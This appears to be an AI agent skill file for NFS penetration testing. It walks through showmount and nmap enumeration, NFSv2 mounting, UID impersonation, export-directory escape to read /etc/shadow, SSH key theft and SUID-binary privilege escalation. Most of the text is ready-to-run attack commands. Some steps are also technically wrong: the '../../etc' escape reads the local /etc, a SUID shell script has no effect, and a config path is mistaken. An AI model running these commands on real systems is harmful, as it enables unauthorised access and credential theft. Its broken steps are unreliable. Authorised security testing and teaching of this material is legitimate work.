| name | nfs-pentesting |
| description | Pentest NFS (Network File System) services on port 2049. Use this skill whenever the user mentions NFS, network file sharing, port 2049, showmount, nfs exports, or needs to enumerate/mount/exploit NFS shares. This skill helps with NFS enumeration, mounting shares, exploiting misconfigurations like no_root_squash, escaping export directories, and privilege escalation via NFS. |
NFS Pentesting Skill
A comprehensive guide for pentesting NFS (Network File System) services, covering enumeration, exploitation, and privilege escalation techniques.
When to Use This Skill
Use this skill when:
- You need to enumerate NFS shares on a target
- You want to mount NFS shares for access
- You're investigating NFS misconfigurations
- You need to exploit NFS for privilege escalation
- Port 2049 is open on a target
- The user mentions NFS, showmount, nfs exports, or network file sharing
Quick Reference
showmount -e <IP>
nmap --script=nfs-ls.nse,nfs-showmount.nse,nfs-statfs.nse -p 2049 <IP>
mount -t nfs -o vers=2 <IP>:/share /mnt/local -o nolock
nfs_analyze <IP>
NFS Basics
What is NFS?
NFS (Network File System) is a client/server protocol that enables users to access files over a network as if they were local. Key characteristics:
- Default port: 2049/TCP/UDP
- Authentication: Typically relies on UNIX UID/GID identifiers
- Security concern: Client-provided user information is trusted by the server
- Root impersonation: By default, UID 0 (root) is squashed to prevent root access
NFS Versions
| Version | Characteristics |
|---|
| NFSv2 | Oldest, UDP-based, no authentication/authorization |
| NFSv3 | Enhanced error reporting, variable file sizes |
| NFSv4 | Kerberos support, firewall-friendly, stateful, ACL support |
Important: NFSv2 is preferred for pentesting due to lack of authentication requirements.
Squashing Behavior
| Setting | Effect |
|---|
all_squash | All users mapped to nobody (UID 65534) |
root_squash | Default - only UID 0 squashed to nobody |
no_root_squash | Root access preserved - DANGEROUS |
Enumeration
Step 1: Basic Enumeration with showmount
showmount -e <IP>
showmount <IP>
Example output:
Export list for 10.12.0.150:
/backup 192.168.0.0/24
/home 10.0.0.0/8
Step 2: Nmap Scripts
nmap --script=nfs-ls.nse,nfs-showmount.nse,nfs-statfs.nse -p 2049 <IP>
nmap --script=nfs-ls -p 2049 <IP>
nmap --script=nfs-showmount -p 2049 <IP>
nmap --script=nfs-statfs -p 2049 <IP>
Step 3: Advanced Analysis with nfs_analyze
The nfs_analyze tool from hvs-consulting/nfs-security-tooling provides comprehensive analysis:
pip install nfs-security-tooling
nfs_analyze <IP>
This tool checks for:
- Available mounts
- Supported NFS versions
- Connected IPs
- Export escape possibilities
no_root_squash configuration
Step 4: Metasploit Scanner
use scanner/nfs/nfsmount
set RHOSTS <IP>
run
Mounting NFS Shares
Basic Mount
mkdir -p /mnt/nfs_target
mount -t nfs -o vers=2 <IP>:/remote/path /mnt/nfs_target -o nolock
mount -t nfs -o vers=2 10.12.0.150:/backup /mnt/nfs_target -o nolock
Mount Options Explained
| Option | Purpose |
|---|
-t nfs | Specify NFS filesystem type |
-o vers=2 | Use NFSv2 (no authentication) |
-o nolock | Disable locking (useful for pentesting) |
-o rsize=32768,wsize=32768 | Optimize transfer size |
Verify Mount
mount | grep nfs
showmount -a <IP>
Exploitation Techniques
Technique 1: UID/GID Impersonation
NFS trusts client-provided UID/GID values. Exploit this by:
-
Identify target file ownership:
ls -la /mnt/nfs_target/
-
Create local user with matching UID:
useradd -u 1001 pentest_user
su - pentest_user
-
Access the files:
cd /mnt/nfs_target/
Technique 2: Using fuse_nfs
The fuse_nfs tool automatically sends the correct UID/GID:
pip install nfs-security-tooling
fuse_nfs <IP>:/export /mnt/local
Technique 3: Export Directory Escape
If subtree_check is disabled (default on Linux), you can escape the export directory:
cd /mnt/nfs_target/
cd ../../var/log/
cat /etc/shadow
cat /var/log/auth.log
Why this works:
/etc/shadow is owned by root:shadow (GID 42 on Debian)
- Only UID 0 is squashed by default
- Group access is not restricted
Technique 4: no_root_squash Exploitation
If no_root_squash is enabled:
mount -t nfs -o vers=2 <IP>:/share /mnt/nfs_target -o nolock
cd /mnt/nfs_target/
Technique 5: Using NFSShell
NFSShell simplifies NFS exploitation:
git clone https://github.com/NetDirect/nfsshell
cd nfsshell
python3 nfsshell.py
nfsshell <IP>:/export
Features:
- Easy listing and mounting
- UID/GID manipulation
- File access automation
Privilege Escalation
Via no_root_squash
-
Mount with root access:
mount -t nfs -o vers=2 <IP>:/share /mnt/nfs_target -o nolock
-
Create SUID binary:
cp /bin/bash /mnt/nfs_target/bash_suid
chmod 4755 /mnt/nfs_target/bash_suid
-
Execute from target:
/mnt/nfs_target/bash_suid -p
Via UID Matching
-
Find high-privilege files:
find /mnt/nfs_target -uid 0 -type f 2>/dev/null
-
Match UID locally:
useradd -u 0 root_clone
useradd -u 1000 target_user
-
Access and modify:
su - target_user
Dangerous NFS Settings
| Setting | Risk | Detection |
|---|
rw | Read/write access | Check exports |
insecure | Allows ports >1024 | Check exports |
no_root_squash | Root access preserved | nfs_analyze |
no_all_squash | All UIDs preserved | nfs_analyze |
nohide | Nested FS visible | Check exports |
subtree_check disabled | Export escape possible | nfs_analyze |
Configuration Files
On the NFS server, check:
/etc/exports
/etc/lib/nfs/etab
Common Attack Scenarios
Scenario 1: Initial Access via NFS
showmount -e 10.10.10.180
mkdir -p /mnt/nfs
mount -t nfs -o vers=2 10.10.10.180:/home /mnt/nfs -o nolock
ls -la /mnt/nfs/
useradd -u 1000 pentest
su - pentest
cd /mnt/nfs/
cat .ssh/id_rsa
Scenario 2: Privilege Escalation
nfs_analyze 10.10.10.180
mount -t nfs -o vers=2 10.10.10.180:/share /mnt/nfs -o nolock
echo '#!/bin/bash' > /mnt/nfs/shell
chmod 4755 /mnt/nfs/shell
Scenario 3: Export Escape
mount -t nfs -o vers=2 10.10.10.180:/srv /mnt/nfs -o nolock
cd /mnt/nfs/../../etc/
cat shadow
cat passwd
find /mnt/nfs/../../var -writable 2>/dev/null
Tools Summary
| Tool | Purpose | Installation |
|---|
showmount | Basic enumeration | apt install nfs-common |
nmap scripts | Advanced enumeration | Built-in |
nfs_analyze | Comprehensive analysis | pip install nfs-security-tooling |
fuse_nfs | UID/GID manipulation | pip install nfs-security-tooling |
nfsshell | Interactive exploitation | git clone |
| Metasploit | Automated scanning | Built-in |
Best Practices
- Always try NFSv2 first - No authentication required
- Check for no_root_squash - Most impactful misconfiguration
- Test export escape - Default on Linux
- Match UIDs - Access files owned by specific users
- Use nfs_analyze - Comprehensive vulnerability detection
- Document findings - Track which techniques worked
References